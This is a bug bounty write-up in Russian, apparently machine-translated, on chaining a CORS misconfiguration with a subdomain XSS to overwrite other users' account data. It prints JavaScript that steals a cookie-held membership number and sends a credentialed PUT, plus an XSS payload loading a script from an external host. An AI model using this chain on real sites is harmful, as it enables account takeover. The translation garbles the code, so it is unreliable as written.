Эта запись касается неправильной конфигурации CORS, с помощью которой я смог выполнить CSRF-атаку, чтобы изменить информацию об учетных записях других пользователей. Предположим, цель была названа redact.com и отправляла на сервер запрос PUT для обновления такой информации о пользователе, как адрес, имя и т. Д.

Заголовок Origin был также отправлен в запросе Origin: redact.com , который был отражен в ответе и Access-Control- Allow-Credentials был установлен на True. Это означает, что файлы cookie могут отправляться вместе с запросом. Я попытался изменить значение заголовка Origin на evil.com, а затем на redact.com.evil.com, но оба варианта были отклонены. Но отправка
Origin: evil. redact.com сработала, что означает, что субдомен redact.com может отправлять запросы к своему API.

Теперь мне понадобился XSS на одном из его поддоменов для отправки запроса PUT на сервер, к счастью, я получил XSS на help.redact.com. Но было недостаточно, чтобы параметр enctyptedMembershipNumer был отправлен вместе с запросом PUT для идентификации пользователя. Изучив файлы cookie сайта redact.com, я обнаружил, что enctyptedMembershipNumer был сохранен в файле cookie с именем prop_29 который был ограничен до. redact.com, точка в начале , означает, что к этому файлу cookie можно получить доступ из его поддоменов. Итак, чтобы извлечь этот Cookie, я написал код JS.

function getCookie (name) {
var match = document.cookie.match (new RegExp ('(^ |)' + name + '= ([^;] +)'));
if ( match) return match [2];
}

Теперь полный код для получения enctyptedMembershipNumer и отправки запроса PUT.

function getCookie (name) {
var match = document.cookie.match (new RegExp ('(^ |)' + name + '= ([^;] +)'));
if ( match) return match [2];
}

cook = getCookie («prop_29»)

data = {member: {mailingAddress: {addressLineOne: Аккаунт взломан, city: НОВЫЙ порт, stateOrProvinceCode: NY, postalCode: 20001 ',« email : ” [email protected] ”, ”countryCode”: ”США”}}}

fetch (` https://www.redact.com/api/node/vivaldi/v1/account/primary-contact?encryptedMembershipNumber=$ {cook} `, {method: PUT, credentails: include, body: JSON.stringify (данные)})

Я создал файл JS и загрузил код на свой сервер для использования в полезных данных XSS.

Окончательная полезная нагрузка:

https://help.redact.com/app/answers/list?searchTerm=?svg onload = script = document ['createElement'] ('script'); script ['src'] = 'https: // osamaavvan. 000webhostapp.com/a.js';document['head '] [' appendChild '] (скрипт); ›

. и // были удалены из полезной нагрузки фильтром XSS, поэтому я преобразовал их в соответствующие им HTML-сущности.

Спасибо за чтение.

📝 Прочтите этот рассказ позже в Журнале.

👩‍💻 Просыпайтесь каждое воскресное утро и слышите самые интересные истории недели в области технологий, ожидающие в вашем почтовом ящике. Прочтите информационный бюллетень« Примечательно в технологиях .